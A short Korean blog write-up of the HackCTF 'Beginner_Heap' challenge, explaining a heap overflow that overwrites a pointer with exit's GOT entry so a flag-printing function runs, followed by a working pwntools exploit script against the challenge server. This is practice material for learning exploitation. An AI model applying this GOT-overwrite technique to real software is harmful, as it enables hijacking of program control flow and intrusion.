본문 바로가기

HackCTF

HackCTF - Beginner_Heap

 

힙은 많이 안 풀어봐서 좀 힘들었다

 

여기까지 gdb 확인

빨강 v3

노랑 v3+1

초록 v4

주황 v4+1

16번에서 복사할 때 *(v4+1) 전까지 더미로 채우고

 

*(v4+1) 에 exit got를 써서

 

18번 줄에서 flag를 불러오는 함수를 쓴다면..?

 

exit 에 got 가 overwrite되어 flag가 등장 할 것이다

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3016)
e = ELF('./beginner_heap')

payload = 'A'*40
payload += p64(e.got['exit'])

r.sendline(payload)

r.sendline(p64(0x000000000400826))

r.interactive()

 

'HackCTF' 카테고리의 다른 글

HackCTF - Gift  (0) 2021.11.22
HackCTF - Look at me  (0) 2021.11.22
HackCTF - RTL_Core  (0) 2021.11.21
HackCTF - Random Key  (0) 2021.11.21
HackCTF - 1996  (0) 2021.11.21